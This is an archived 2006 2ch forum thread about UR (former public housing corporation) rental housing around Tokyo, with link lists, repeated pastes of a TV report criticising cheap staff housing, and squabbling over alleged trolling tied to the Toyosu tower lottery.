2ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

【UR】首都圏の都市機構住宅 34号棟【旧公団】

1 :名無し不動さん:2006/08/05(土) 19:57:05 ID:???
都市再生機構(UR都市機構)の物件について語るスレです。

主に首都圏中心ですがUR賃貸住宅全般の話題はここでOKです。
※ 関西(大阪)の方は「関西(大阪)のURスレ」(後述)があります。

都市再生機構の発足から3年目に入りました。
公団時代から大きく変化した部分とあまり変化のない部分が混在していますが、
都市再生機構の今後の動向に引き続き注目していきたいと思います。
荒らし・煽りは相手にしないで、有意義に情報交換しましょう!

過去スレ、関連リンク、関連スレなどは>>2-6 あたりです。

※ UR賃貸ではごく一部の許可されている物件以外では犬・猫などの
  ペットは飼えません。許可されてない物件でペットを飼う話題は
  スレが荒れる原因となるので禁止します。

2 :名無し不動さん:2006/08/05(土) 20:03:27 ID:???
■(前スレ)【UR】首都圏の都市機構住宅 33号棟【旧公団】
http://money4.2ch.net/test/read.cgi/estate/1151422288/

■過去スレが見えない場合は以下のサイトで検索できます。
http://www.makimo.to/cgi-bin/search/search.cgi?q=%8E%F1%93s%8C%97%82%CC%93s%8Es%8B%40%8D%5C&sf=2&all=on&view=table

■それ以前のスレ
http://money4.2ch.net/test/read.cgi/estate/1149539246/ [第32号棟]
http://money4.2ch.net/test/read.cgi/estate/1147340174/ [第31号棟]
http://money4.2ch.net/test/read.cgi/estate/1145192811/ [第30号棟]
http://money4.2ch.net/test/read.cgi/estate/1143199365/ [第29号棟]
http://money4.2ch.net/test/read.cgi/estate/1140703722/ [第28号棟]
http://money4.2ch.net/test/read.cgi/estate/1138506691/ [第27号棟]
http://money4.2ch.net/test/read.cgi/estate/1133791780/ [第26号棟]
http://money4.2ch.net/test/read.cgi/estate/1130419218/ [第25号棟]
http://money4.2ch.net/test/read.cgi/estate/1125850496/ [第24号棟]
http://money4.2ch.net/test/read.cgi/estate/1121527718/ [第23号棟]
http://money4.2ch.net/test/read.cgi/estate/1117634442/ [第22号棟]
http://money3.2ch.net/test/read.cgi/estate/1114450839/ [第21号棟]
http://money3.2ch.net/test/read.cgi/estate/1109063425/ [第20号棟]

3 :名無し不動さん:2006/08/05(土) 20:04:03 ID:???
http://money3.2ch.net/test/read.cgi/estate/1095907036/ [第19号棟]
http://money3.2ch.net/test/read.cgi/estate/1084449611/ [第18号棟]
http://money3.2ch.net/test/read.cgi/estate/1076513949/ [第17号棟]
http://money.2ch.net/test/read.cgi/estate/1069932338/ [第16号棟]
http://money.2ch.net/test/read.cgi/estate/1063983254/ [第15号棟]
http://money.2ch.net/test/read.cgi/estate/1057481941/      [第14号棟]
http://money.2ch.net/estate/kako/1053/10535/1053585939.html [第13次募集]
http://money.2ch.net/estate/kako/1049/10491/1049193227.html [第12次募集]
http://money.2ch.net/estate/kako/1045/10450/1045065161.html [第11次募集]
■都市再生機構(UR都市機構)
http://www.ur-net.go.jp/
■住まいのご案内
http://www.ur-net.go.jp/kanto/
■都市機構の募集案内窓口の場所
http://www.ur-net.go.jp/kanto/information/
■抽選方法
http://www.ur-net.go.jp/tebiki/n-contract.html#t-method

4 :名無し不動さん:2006/08/05(土) 20:04:38 ID:???
※都市機構の物件への申込み等でわからないことがあったら
以下のページへ。契約や家賃についても同様です。

■[FAQ]お申込みの手引き
http://www.ur-net.go.jp/tebiki/
■[FAQ]賃貸住宅にお住まいの方へ
http://www.ur-net.go.jp/kyojyusha/info.html
■新制度のご案内
http://sumai.ur-net.go.jp/Sumai/Seido/Index.html

※関連ページ(都市再生機構の便利なページ)
■インターネットお申込みサイト
http://sumai.ur-net.go.jp/Sumai/10/Index.html
■UR賃貸ねっと(メールマガジン)
http://member.sumai.ur-net.go.jp/

5 :名無し不動さん:2006/08/05(土) 20:05:47 ID:???
関連スレ

関西(大阪)のUR都市機構住宅 4号棟【旧公団】 < 関西地区の方はこちらへ
http://money4.2ch.net/test/read.cgi/estate/1148998867/
【期間限定】URの新築物件【東京都内】
http://money4.2ch.net/test/read.cgi/estate/1144825505/
公団の管理と共益費を考えるスレ その2  < 築○十年の物件メイン
http://money4.2ch.net/test/read.cgi/estate/1081640439/
公団住宅の老人のせいで光にできない < ネット環境
http://pc8.2ch.net/test/read.cgi/isp/1100363802/
ΠΠΠΠ 団地マニアいますか? ΠΠΠΠ
http://money4.2ch.net/test/read.cgi/estate/1122898414/
URの自治会
http://money4.2ch.net/test/read.cgi/estate/1139564856/
【UR都市機構】 管理事務所 に言いたい事
http://money4.2ch.net/test/read.cgi/estate/1152934231/

6 :名無し不動さん:2006/08/06(日) 01:22:28 ID:???
6なら>>1は6日以内に死ぬ

7 :名無し不動さん:2006/08/06(日) 07:18:27 ID:???
>>1の手口

1.勝手に重複スレを立てる
2.コピペや自作自演で重複スレのレス数を増やす
3.本スレの次スレを立てたら>>5にリンクを貼る

8 :名無し不動さん:2006/08/06(日) 14:17:09 ID:???
>>1



くらい誰か言ってやれよ…

9 :名無し不動さん:2006/08/06(日) 15:54:41 ID:CxbBYHEP
大阪府池田市の閑静な住宅街・五月丘です。そして、こちらが都市再生機構の職員宿舎。
去年完成したばかりの真新しいマンションです
大阪府池田市に去年完成したのは、都市再生機構の職員専用マンション。
建設費6億7,000万円。4階建てで全60戸。
こちらはエレベーター付きだ。
特筆すべきは、その眺望。
池田市内はおろか、梅田のビル群までも見渡せる180度のパノラマ。
家賃はと言えば、2LDK(70〜71平方メートル)で、3万円〜3万3,000円。
3LDK(75〜78平方メートル)で、4万2,000円〜4万9,000円と破格
の安さだ。
<近所の人>
(Q.家賃は75平米で4万円くらいなんですよ)
「エーッ!すごいですね」
(Q.場所は最高ですよね?)
「そうなんですよ。場所はすごいイイなあと思ってて、建ったときに何の建物かと思ってました」
<近所の人>
「ウチのところは68平米で公団ですけど、12万円払ってます。眺めもイイし、うらやましい
 なあと主人と言ってました」

都市再生機構の労働組合は共産党系。


10 :名無し不動さん:2006/08/06(日) 15:55:48 ID:CxbBYHEP
ありました、高台の上に。これですね
川崎市の百合丘第二職員宿舎は、築2年で駅からは徒歩1分。
それでいて家賃は、3LDKの73平方メートルで4万円前後だ。
職員宿舎の住民は、当然の福利厚生として受け止めているという。
<都市機構職員宿舎の住人>
「会社員の“その会社の特典”かなって思います」
しかし、独立行政法人である都市機構は、15兆8,000億円もの借金を抱え、国や自治体
から年間1,000億円の補助金を投入されている。
つまり、破たん寸前の企業が税金でなんとか持ちこたえている状態で、民間なら格安宿舎などありえない。
しかも、職員宿舎のすぐ近くにあるUR賃貸住宅にも、たくさんの空き部屋があるのだ。
職員宿舎がどうしても要ると言うのなら、これらの空室に入居すればいいのでは、という疑問も出てくる。
国会で公益法人の問題を追及している民主党の尾立源幸議員も、視察で疑問を投げかけた。
<民主党・尾立源幸議員>
「ちょっとお聞きしたいのは、公団に空き状況がある中で、そこ(空室)に皆さんが入るという選択肢はないのですか?」
<都市機構西日本支社・岡田博副支社長(当時)>
「もともと宿舎の趣旨は福利厚生の面もございますが、九州とか東京から人事異動がありますと、
その時に急きょ入れないといけないんです」
<民主党・尾立源幸議員>
「ここに民間の方に入っていただいて、職員の方に古い所に移っていただくという考えはないのですか?」
<都市機構西日本支社・岡田博副支社長(当時)>
「そういう考え方、今、急に聞かれましてもですね、お答えすることできませんけど…」
さらに、格安の家賃や駐車場代の根拠について聞くと…。
<都市機構西日本支社・岡田博副支社長(当時)>
「料金の決め方は、『国家公務員宿舎法』に沿って決めています。駐車場料金も同様に、
『国家公務員宿舎法』に基づいて決めています」
と、あたかも法律で決められているかのような説明だが、都市再生機構法を見ると、
“国家公務員宿舎法は適用しない”と明確に書かれている。
つまり、法的根拠は何もないのだ。


11 :名無し不動さん:2006/08/06(日) 15:56:40 ID:CxbBYHEP
都市再生機構(公団)の家賃について一言。
以前は地価に連動して家賃を決めていたから、地価が上がっていたときは家賃の
値上げをしていた。
地価が下がりはじめたら、途端に家賃の決め方を変えて、民間準拠方式。
地価が下がっても、家賃が下がらない。
準公務員の給与を維持するために家賃を人為的に操作してるとしか思えない。

その時の変更の理由がふるってる。
家賃が下がると「民間住宅に住む人に対して公平性を欠く」からだと。

しかし、おかしなことに、都市再生機構には居住者のためにと言いつつ
膨大な税金が投入され、国や地方公共団体が、債権の無償放棄までしている。
家賃は民間より安くない。
何のために税金を投入してるんだ?
職員の高給、福利厚生施設(格安家賃)のためなのか?


12 :名無し不動さん:2006/08/06(日) 23:17:42 ID:???
>>9



13 :名無し不動さん:2006/08/06(日) 23:35:13 ID:huUQgqN5
>その時の変更の理由がふるってる。
>家賃が下がると「民間住宅に住む人に対して公平性を欠く」からだと。

普通は、官民格差を問題にするんだろう。
共産系の準公務員が格安豪華宿舎に住んで、国民が遠、高、狭、と言われるスラムに
高い賃料で住まなければならない。国や地方公共団体からは、国民のためにと言いつつ
税金が投入されている。




14 :名無し不動さん:2006/08/06(日) 23:49:57 ID:???
都市再生機構自体の話は、以下のスレがあるのでそちらで
どうぞ。(ここでは板違いです)

!独立行政法人都市再生機構5号棟!
http://society3.2ch.net/test/read.cgi/koumu/1148567466/

15 :名無し不動さん:2006/08/07(月) 00:09:25 ID:oXDnszqR
都市再生機構(公団)の家賃について一言。
以前は地価に連動して家賃を決めていたから、地価が上がっていたときは家賃の
値上げをしていた。
地価が下がりはじめたら、途端に家賃の決め方を変えて、民間準拠方式。
地価が下がっても、家賃が下がらない。
準公務員の給与を維持するために家賃を人為的に操作してるとしか思えない。

その時の変更の理由がふるってる。
家賃が下がると「民間住宅に住む人に対して公平性を欠く」からだと。


16 :名無し不動さん:2006/08/07(月) 00:15:35 ID:mdJ4zTcT
URの賃貸部門は黒字だよ。
賃料なんて充分値下げできる。ただ、分譲部門で失敗した部分について
の穴埋め、職員の特権、利権、高給、福利厚生、諸手当、などを維持する
ために下がらないようにしただけだ。

17 :名無し不動さん:2006/08/07(月) 00:25:47 ID:dBSnnvIG
驚くべき特権階級:15兆9000億円の借金を抱えつつ、
9000億円の債権放棄、国・自治体から毎年1000億円の補助金で豪華格安住宅に住む

独立行政法人 都市機構職員たち
http://up2.viploader.net/pic/src/viploader239270.jpg

これらは税金から補填されています。

ミラーhttp://i7.tinypic.com/20t2xpi.jpg

記事はこちらに掲載されるでしょう(放送直後でまだ載っていない)
http://mbs.jp/voice/special/200607.html


18 :名無し不動さん:2006/08/07(月) 00:34:11 ID:???
豊洲に向けて新たなスレ流しの手段ということかな?
急にこういう流れになるのは変ですし。

ということ話題を続けるならで別板でお願いしますね。

19 :名無し不動さん:2006/08/07(月) 00:43:23 ID:vxA4xir3
URの子会社ってのはUR自身がUR天下りのために作った所謂中間利益搾取法人のこと。
したがってUR子会社が他の民間子会社と全く違う特徴は、

@十分な社員がいるにもかかわらず実践力となる人材は極めて少ない。
 (URの天下りがうじゃうじゃいるので当然といえば当然)
A役員や上級職の職員はほぼURの天下りで抑えられているため、
 全ての業務・福利厚生は天下り職員優先主義で、天下り職員以外は
 大半が奴隷的労働を強いられる。
B天下りを食わせるためにOBがURとなあなあで多額の受注を独占的に
 行っているのでUR本体は大赤字にもかかわらず、子会社は黒字経営。
CURの子会社なのにURより態度がデカイ。
D本来子会社というのは親会社を助けるために存在するものだが、
 URは子会社を助ける(要するにURの天下りに蜜を吸わせる)ために
 親会社(UR)が存在するという逆の立場にある。通常、民間会社が
 このようなことやったらあっという間に倒産だが、URの場合、
 政府保証でいくらでも債権を発行できて、それこそ湯水のごとく
 カネが流れ込むので、いくらでも子会社のOBにカネをばら撒ける。
 
  

  も ち ろ ん 、 す べ て「 国 民 の 税 金 」


20 :名無し不動さん:2006/08/07(月) 00:48:04 ID:???
以下のスレに書けばよい話ばかり書くなぁ。

!独立行政法人都市再生機構5号棟!
http://society3.2ch.net/test/read.cgi/koumu/1148567466/

明らかに豊洲を狙っているんですね。
実にわかりやすい。
何で正直じゃない人が多いんだろう。

21 :名無し不動さん:2006/08/07(月) 02:21:32 ID:gu6rq/+G
>>19
んじゃ、ひとつURにでも住んで税金を取り戻そうじゃないか。
民間よりいいぞ。

22 :名無し不動さん:2006/08/07(月) 02:47:28 ID:???
どちらかというと公務員板の方が板違いでしょう。こちらに合流でいいかと。

23 :名無し不動さん:2006/08/07(月) 03:20:25 ID:P1E0ytNY
結局、問題はUR及び子会社の職員が税金を不当に懐にいれてるということ。
国民の為と言いつつ、一方では企業の社宅として利用させたり、他方で中国人
ばかりを入れたり、やればやるほど国民とはかけ離れていく。
変わらないのは、職員の高給、天下り、丸投げ。
はやく完全分割民営化して借金を返済しつつ、最終的には消滅を目指すこと。
職員のためにあるんじゃない。

24 :名無し不動さん:2006/08/07(月) 03:37:02 ID:???
みんな
そんな美味しいことと分かってて
何で自分が入らなかったんだ?
単なる嫉妬にしか聞こえないし
嫉妬なら考慮にも値しないな・・・
ここは単なるガス抜き場だな。

25 :名無し不動さん:2006/08/07(月) 09:41:01 ID:???
優遇されてるのは一部の職員だけ。
どこの会社にも言えること。
それにまともな民間会社だと住宅手当て出るだろ。
●万円までは全額支給とか、家賃に関係なく一律5万円支給とか。
給料安くて住宅手当ても出ない会社ならさっさと辞めろ。

26 :名無し不動さん:2006/08/07(月) 09:44:16 ID:???
みんな?じゃなくて、多分ひとり…多くてもふたり

27 :名無し不動さん:2006/08/07(月) 13:19:40 ID:zgAR/iLO
別にUR自体の問題をほじくりだすのは構わないが同じことを何度も書くのは「豊洲」あらしと見なす

28 :名無し不動さん:2006/08/07(月) 13:20:56 ID:zgAR/iLO
>>24
他人が人倫に悖ることをやっていてそれを批難するのは当然だろ
自分もやればいいじゃんっていうのはDQN中学生の論理

29 :名無し不動さん:2006/08/07(月) 21:33:03 ID:???
>>25
各種手当てが少ないほうが良い会社なのだが。。。。。

30 :名無し不動さん:2006/08/07(月) 22:39:22 ID:waRwbOWh
URは税金で成り立ってるんだろう。
おかしなことをやってるんなら国民が批判するのは当たり前じゃないか。
それに都市再生機構は、日本の公務員、準公務員の問題点が典型的に現れていると思う。
たまたま、提供するサービスが住宅。
ところが、国民に対するサービス内容は、税金が投入されているのに民間より安くない。
国民に対するサービス内容は高くかつ程度も悪い。それに引き換え職員に対する同様のサービス
は、廉価かつ程度も高い。
職員の為に税金をジャブジャブ使っておきながら、国民のために税金を使ってるかの
ようなことを言ってる。ここが問題なんだろう。
だから政治家が皮肉って、「職員が公団住宅の方にすんだらどうなんだ」と言ってるんだろう。
国民の声をよく代弁してると思うんだが。

31 :名無し不動さん:2006/08/07(月) 22:40:45 ID:waRwbOWh
ありました、高台の上に。これですね
川崎市の百合丘第二職員宿舎は、築2年で駅からは徒歩1分。
それでいて家賃は、3LDKの73平方メートルで4万円前後だ。
職員宿舎の住民は、当然の福利厚生として受け止めているという。
<都市機構職員宿舎の住人>
「会社員の“その会社の特典”かなって思います」
しかし、独立行政法人である都市機構は、15兆8,000億円もの借金を抱え、国や自治体
から年間1,000億円の補助金を投入されている。
つまり、破たん寸前の企業が税金でなんとか持ちこたえている状態で、民間なら格安宿舎などありえない。
しかも、職員宿舎のすぐ近くにあるUR賃貸住宅にも、たくさんの空き部屋があるのだ。
職員宿舎がどうしても要ると言うのなら、これらの空室に入居すればいいのでは、という疑問も出てくる。
国会で公益法人の問題を追及している民主党の尾立源幸議員も、視察で疑問を投げかけた。
<民主党・尾立源幸議員>
「ちょっとお聞きしたいのは、公団に空き状況がある中で、そこ(空室)に皆さんが入るという選択肢はないのですか?」
<都市機構西日本支社・岡田博副支社長(当時)>
「もともと宿舎の趣旨は福利厚生の面もございますが、九州とか東京から人事異動がありますと、
その時に急きょ入れないといけないんです」
<民主党・尾立源幸議員>
「ここに民間の方に入っていただいて、職員の方に古い所に移っていただくという考えはないのですか?」
<都市機構西日本支社・岡田博副支社長(当時)>
「そういう考え方、今、急に聞かれましてもですね、お答えすることできませんけど…」
さらに、格安の家賃や駐車場代の根拠について聞くと…。
<都市機構西日本支社・岡田博副支社長(当時)>
「料金の決め方は、『国家公務員宿舎法』に沿って決めています。駐車場料金も同様に、
『国家公務員宿舎法』に基づいて決めています」
と、あたかも法律で決められているかのような説明だが、都市再生機構法を見ると、
“国家公務員宿舎法は適用しない”と明確に書かれている。
つまり、法的根拠は何もないのだ。


32 :名無し不動さん:2006/08/07(月) 22:42:56 ID:???
荒れてますな・・
税金じゃなくて出資金。。
住宅手当は2万程度だぜ?

33 :名無し不動さん:2006/08/07(月) 22:45:19 ID:???
まぁ、コピペしている人も実は内容には大して興味はないと思う。
要は豊洲に入りたいだけでしょうね。

34 :名無し不動さん:2006/08/07(月) 23:06:39 ID:r6DGyx9H
都市再生機構(公団)の家賃について一言。
以前は地価に連動して家賃を決めていたから、地価が上がっていたときは家賃の
値上げをしていた。
地価が下がりはじめたら、途端に家賃の決め方を変えて、民間準拠方式。
地価が下がっても、家賃が下がらない。
準公務員の給与を維持するために家賃を人為的に操作してるとしか思えない。

ついでに言えば、同じ棟で何故家賃が人によって違うんだ?
政治的配慮?随分安く住んでる人もいるようだが?


35 :名無し不動さん:2006/08/07(月) 23:11:35 ID:???
家賃が安くなったら競争率が高くて漏れは入れなかったろうな。
いまは、入ったところでおいしくはないが。

36 :名無し不動さん:2006/08/07(月) 23:55:33 ID:???
もしかして豊洲っていう団地に申し込むといいことがあるの!!?
あらしさんはそれを嫌ってるの?

キーワードは 豊洲タワー!?


豊洲タワー?

豊洲タワー?

他のスレにも宣伝していい?

37 :名無し不動さん:2006/08/07(月) 23:56:33 ID:???
他の板にも宣伝していい?

豊洲タワー?

抽選があるっていうことは美味しい話?

38 :名無し不動さん:2006/08/08(火) 00:19:24 ID:???
家賃が高ければ周りとの競争力が無くなって
空室が増えるだけなのでそれでもいいんじゃね?

39 :名無し不動さん:2006/08/08(火) 01:14:34 ID:xTHwcx4f
問題は、日本で一番大きな大家が競争してないと言うこと。
同一地域で分割民営化して競争でもさせないと、家賃なんて下がらない。
税金をつぎ込めばいいんだから、空室を埋めようなんて努力はしない。
今の状態が職員にとっては最適。
競争しなくていいし、税金で高給は保証されるし、まるで旧共産圏諸国の
公務員みたいだな。

40 :名無し不動さん:2006/08/08(火) 01:21:16 ID:???
色々と書いているけど、結局、自民党に投票している人が多そうだね。
まず、全ての問題はそこにあることを認識すべきだと思うのだが。
(自分の責任でもあるわけだよね)

まぁ、家賃をやみくもに下げたら、ますます赤字ですな。
本当に興味がある話題じゃないみたいね。
真剣に考えてないみたい。

やはり、興味があるのは豊洲のようですね。

41 :名無し不動さん:2006/08/08(火) 01:34:20 ID:???
ほとんど空き室の無い所に現地案内所があるのは
いかがなモンかと。ネットに載せてないくせに。
しかも鍵は管理事務所にあるから予約して借りないと
部屋は見れませんってww
だったら管理事務所で鍵借りて見て、営業センターで契約すればいいから
お前らいらないじゃんって話。

42 :名無し不動さん:2006/08/08(火) 01:43:44 ID:???
>41
恵比寿?

43 :名無し不動さん:2006/08/08(火) 01:45:01 ID:???
政治的に圧力をかけなきゃ無理。
こんな世の中に誰がした。
今の大人ですよ。あなたも決して無関係ではない。

政治を語るスレじゃないのでこの辺で。
続きは以下でどうぞ。

!独立行政法人都市再生機構5号棟!
http://society3.2ch.net/test/read.cgi/koumu/1148567466/

44 :名無し不動さん:2006/08/08(火) 02:02:58 ID:LWjokFJQ
都市再生機構て共産党系の組合だというのは有名な話。
共産党系の職員がいい目をみて、一部自治会の役員に利権を与え
一般の住民から高い賃料を盗ってる。
触れられたくないから、しきりに他のスレに書き込めとか言ってる。

45 :名無し不動さん:2006/08/08(火) 02:07:49 ID:LWjokFJQ
社保庁職員が年金情報16人分無断持ち出し、書類送検
 東京都内のマンションで共産党の機関紙などを配り、1審で有罪判決を受けた社会保険庁
の男性職員(52)が、年金加入者16人分の個人情報を記載した印刷物を無断で職場から
持ち出していたとして、警視庁公安部が、窃盗容疑で書類送検していたことが6日わかった。
 男性職員の自宅からは、印刷物と同一の個人情報が書き込まれた共産党の政治活動用カード
数枚が押収されていた。公安部は男性職員が個人情報を流用しようとした可能性もあると見ている。
 調べによると、男性職員は、府中社会保険事務所(東京都府中市)に勤めていた2000年
ごろと目黒社会保険事務所(目黒区)勤務の03年ごろ、数回にわたり、職場の端末機器を操作し、
年金加入者16人分の基礎年金番号や氏名、住所、生年月日などを計18枚の用紙に印刷、都内の
自宅に持ち帰った疑い。印刷はいずれも勤務時間中に行われていた。
 公安部によると、印刷物は共産党が支持拡大のために使用する「対話・支持カード」と一緒に
社会保険庁の封筒に入れられ、うち数枚のカードに、これらの印刷物の記載内容と全く同じ氏名
や住所、基礎年金番号が書き込まれていた。このカードは、同党の党員などが有権者と面接した際、
党の政策についての反応などを書き込むものだった。

同じことをやってるんじゃないか?

46 :名無し不動さん:2006/08/08(火) 02:14:28 ID:???
共産党系は自治会の話ですね。
自治会はURに対する圧力団体ですが、自分達だけを優遇するように
言うのが駄目です。

UR職員が共産党系だとしたら、いがみ合うはずも無いと思う。
(お互いに協力し合っているだろうね)

ということで、豊洲クンは大変だね。
募集開始は8/19からだよ。

47 :名無し不動さん:2006/08/08(火) 02:20:25 ID:h0vX2Khm
ありました、高台の上に。これですね
川崎市の百合丘第二職員宿舎は、築2年で駅からは徒歩1分。
それでいて家賃は、3LDKの73平方メートルで4万円前後だ。
職員宿舎の住民は、当然の福利厚生として受け止めているという。
<都市機構職員宿舎の住人>
「会社員の“その会社の特典”かなって思います」
しかし、独立行政法人である都市機構は、15兆8,000億円もの借金を抱え、国や自治体
から年間1,000億円の補助金を投入されている。
つまり、破たん寸前の企業が税金でなんとか持ちこたえている状態で、民間なら格安宿舎などありえない。
しかも、職員宿舎のすぐ近くにあるUR賃貸住宅にも、たくさんの空き部屋があるのだ。
職員宿舎がどうしても要ると言うのなら、これらの空室に入居すればいいのでは、という疑問も出てくる。
国会で公益法人の問題を追及している民主党の尾立源幸議員も、視察で疑問を投げかけた。
<民主党・尾立源幸議員>
「ちょっとお聞きしたいのは、公団に空き状況がある中で、そこ(空室)に皆さんが入るという選択肢はないのですか?」
<都市機構西日本支社・岡田博副支社長(当時)>
「もともと宿舎の趣旨は福利厚生の面もございますが、九州とか東京から人事異動がありますと、
その時に急きょ入れないといけないんです」
<民主党・尾立源幸議員>
「ここに民間の方に入っていただいて、職員の方に古い所に移っていただくという考えはないのですか?」
<都市機構西日本支社・岡田博副支社長(当時)>
「そういう考え方、今、急に聞かれましてもですね、お答えすることできませんけど…」
さらに、格安の家賃や駐車場代の根拠について聞くと…。
<都市機構西日本支社・岡田博副支社長(当時)>
「料金の決め方は、『国家公務員宿舎法』に沿って決めています。駐車場料金も同様に、
『国家公務員宿舎法』に基づいて決めています」
と、あたかも法律で決められているかのような説明だが、都市再生機構法を見ると、
“国家公務員宿舎法は適用しない”と明確に書かれている。
つまり、法的根拠は何もないのだ。



48 :名無し不動さん:2006/08/08(火) 02:23:23 ID:Gbe4IVbE
つか、どう逆立ちしても、豊洲のタワーには入れない漏れ。┐(゚〜゚)┌

UR云々、語れる金持ちのおまいらが、うらやましい。

49 :豊洲:2006/08/08(火) 02:24:34 ID:???
コピペご苦労。
同じ内容ばかりで塗りつぶす気かい?

50 :名無し不動さん:2006/08/08(火) 02:27:13 ID:???
>>48
うわ〜凄い事に気が付きましたね。
そうそう、荒らしているのは、ある程度お金を持っている人達なんですよね。

だから、家賃を下げろとか、自分の考えと逆の事を書いていることに
なるんですね。

ということで、説得力が全然無い。

51 :名無し不動さん:2006/08/08(火) 02:36:35 ID:???
>>41
職員が楽に給料もらえるからいいんだよ

52 :名無し不動さん:2006/08/08(火) 02:37:08 ID:???
>>50
考えの浅さからして主婦だろうな

53 :名無し不動さん:2006/08/08(火) 02:37:24 ID:???
豊洲の家賃ちょっと高い気がするなあ。
設備みたけどディスポーザーもないみたいだし、当たっても辞退する奴が
多いんじゃないか?補欠当たったら申込んでみた方がええよ。

54 :名無し不動さん:2006/08/08(火) 02:38:16 ID:???
>>53
このスレのあらしみたいにタワーだったらなんとしてでも入りたいっていうバカが多いんだよ

55 :名無し不動さん:2006/08/08(火) 06:10:17 ID:???
勝どきのTTTも豊洲と同じぐらいの家賃相場になるの?
豊洲より不便そうだけど住所は中央区だし。

56 :名無し不動さん:2006/08/08(火) 08:36:13 ID:???
>>1の特徴

思い込みが激しい。スレが荒れると直近の新築狙いだと思い込む。月島の時と同じ。

57 :名無し不動さん:2006/08/08(火) 08:40:44 ID:???
ほんとうに新築狙いだったら荒らすはずがない。
荒らしたら>>1が暴れだして逆効果になることは目に見えてる。

58 :名無し不動さん:2006/08/08(火) 08:51:50 ID:???
空き室を見れないのは空き室がないから。
あれば職員同行で予約なしでも見れる。

41 :名無し不動さん :2006/08/08(火) 01:34:20 ID:???
ほとんど空き室の無い所に現地案内所があるのは
いかがなモンかと。ネットに載せてないくせに。
しかも鍵は管理事務所にあるから予約して借りないと
部屋は見れませんってww
だったら管理事務所で鍵借りて見て、営業センターで契約すればいいから
お前らいらないじゃんって話。


59 :名無し不動さん:2006/08/08(火) 08:56:30 ID:???
恵比寿ビュータワーの現地案内所は31階から12階にうつったんだ。
そのうちなくなるんじゃね?

60 :名無し不動さん:2006/08/08(火) 08:58:32 ID:???
六本木ビュータワーの現地案内所はなくなっちゃったんだ。
あそこ住みたくはないけど見学に行くのは好きだったな。

61 :名無し不動さん:2006/08/08(火) 09:32:34 ID:???
>>58
職員がいても鍵を予約して借りないと
見れないって書いてあるじゃん。

62 :名無し不動さん:2006/08/08(火) 16:42:51 ID:or7ZJhNe
>>1
乙 ( ,_ノ` )y-~~ グッジョブ!!

63 :名無し不動さん:2006/08/08(火) 21:18:24 ID:t60cTYQx
「元はと言えば、国民の財産じゃないですか?公金が投入されてるじゃないですか」
<UR職員>「私どもの所有であるし、私どもの建物ですから」
<記者>「国民の財産の一部とはお考えになりませんか?公金が投入されているというご自覚はありませんか?」
<UR職員>「私ども公的企業ですので、広い意味では全て公金です」
議論はかみ合わない。
<民主党の尾立源幸議員>
「財務体質を良くしていかなければならない使命がある中では、ここは民間に売却して
資金を回収して借金を減らしていことが大事だと思います」
さらに問題なのは、都市機構は去年、国から何と9,000億円もの債権放棄を受けて
いることだ。
国民から集めた年金の保険料や、郵便貯金を運用している特別会計・財政投融資から
借金の利子をチャラにしてもらったのだ。
公益法人に詳しい北沢栄教授も、こう批判する。
<東北公益文科大学・北沢栄教授>
「結局、これ国民の金ですよね。破たん状態なんですけど、彼らに破たんて概念ないん
ですよね。自己責任でやってませんから。国から出ますから、お金が。言わば、壮大な
ムダ使いをしてたわけです」
機構側に再度、認識を尋ねた。
<都市機構西日本支社・岡田博副支社長(当時)>
(Q.副支社長、この宿舎は国民のご理解を得られますか?)
「……」


64 :名無し不動さん:2006/08/08(火) 21:22:48 ID:t60cTYQx
[2006/07/24]憤懣本舗「借金16兆円!…なのに職員住宅は『豪華で格安』 都市再生機構のナゼ?」
■憤懣本舗「借金16兆円!…なのに職員住宅は『豪華で格安』 都市再生機構のナゼ?」2006/07/24
放送シリーズ『憤懣本舗』。
今回は、かつての住宅公団、現在の都市再生機構をめぐる大いなる疑問に迫る。
都市機構はニュータウン事業の失敗もあって、15兆円もの赤字を抱え、企業なら破たん寸前の状態と言える。
このため、国から巨額の債権を放棄してもらうなど優遇されているのだが、当の都市機構はそんなことなど
“どこ吹く風”。
自分たち職員用に、豪華なマンションを建設している。


65 :名無し不動さん:2006/08/08(火) 21:28:28 ID:???
「元はと言えば、国民の財産じゃないですか?公金が投入されてるじゃないですか」
<UR職員>「私どもの所有であるし、私どもの建物ですから」
<記者>「国民の財産の一部とはお考えになりませんか?公金が投入されているというご自覚はありませんか?」
<UR職員>「私ども公的企業ですので、広い意味では全て公金です」
議論はかみ合わない。
<民主党の尾立源幸議員>
「財務体質を良くしていかなければならない使命がある中では、ここは民間に売却して
資金を回収して借金を減らしていことが大事だと思います」
さらに問題なのは、都市機構は去年、国から何と9,000億円もの債権放棄を受けて
いることだ。
国民から集めた年金の保険料や、郵便貯金を運用している特別会計・財政投融資から
借金の利子をチャラにしてもらったのだ。
公益法人に詳しい北沢栄教授も、こう批判する。
<東北公益文科大学・北沢栄教授>
「結局、これ国民の金ですよね。破たん状態なんですけど、彼らに破たんて概念ないん
ですよね。自己責任でやってませんから。国から出ますから、お金が。言わば、壮大な
ムダ使いをしてたわけです」
機構側に再度、認識を尋ねた。
<都市機構西日本支社・岡田博副支社長(当時)>
(Q.副支社長、この宿舎は国民のご理解を得られますか?)
「……」


66 :名無し不動さん:2006/08/08(火) 21:29:46 ID:???
「元はと言えば、国民の財産じゃないですか?公金が投入されてるじゃないですか」
<UR職員>「私どもの所有であるし、私どもの建物ですから」
<記者>「国民の財産の一部とはお考えになりませんか?公金が投入されているというご自覚はありませんか?」
<UR職員>「私ども公的企業ですので、広い意味では全て公金です」
議論はかみ合わない。
<民主党の尾立源幸議員>
「財務体質を良くしていかなければならない使命がある中では、ここは民間に売却して
資金を回収して借金を減らしていことが大事だと思います」
さらに問題なのは、都市機構は去年、国から何と9,000億円もの債権放棄を受けて
いることだ。
国民から集めた年金の保険料や、郵便貯金を運用している特別会計・財政投融資から
借金の利子をチャラにしてもらったのだ。
公益法人に詳しい北沢栄教授も、こう批判する。
<東北公益文科大学・北沢栄教授>
「結局、これ国民の金ですよね。破たん状態なんですけど、彼らに破たんて概念ないん
ですよね。自己責任でやってませんから。国から出ますから、お金が。言わば、壮大な
ムダ使いをしてたわけです」
機構側に再度、認識を尋ねた。
<都市機構西日本支社・岡田博副支社長(当時)>
(Q.副支社長、この宿舎は国民のご理解を得られますか?)
「……」


67 :名無し不動さん:2006/08/08(火) 21:31:15 ID:???
公務員 特殊法人の予算はほとんど無能な子会社の人間に流れる。
子会社の人間が無能であることは、子会社が公的機関から受注した業務を
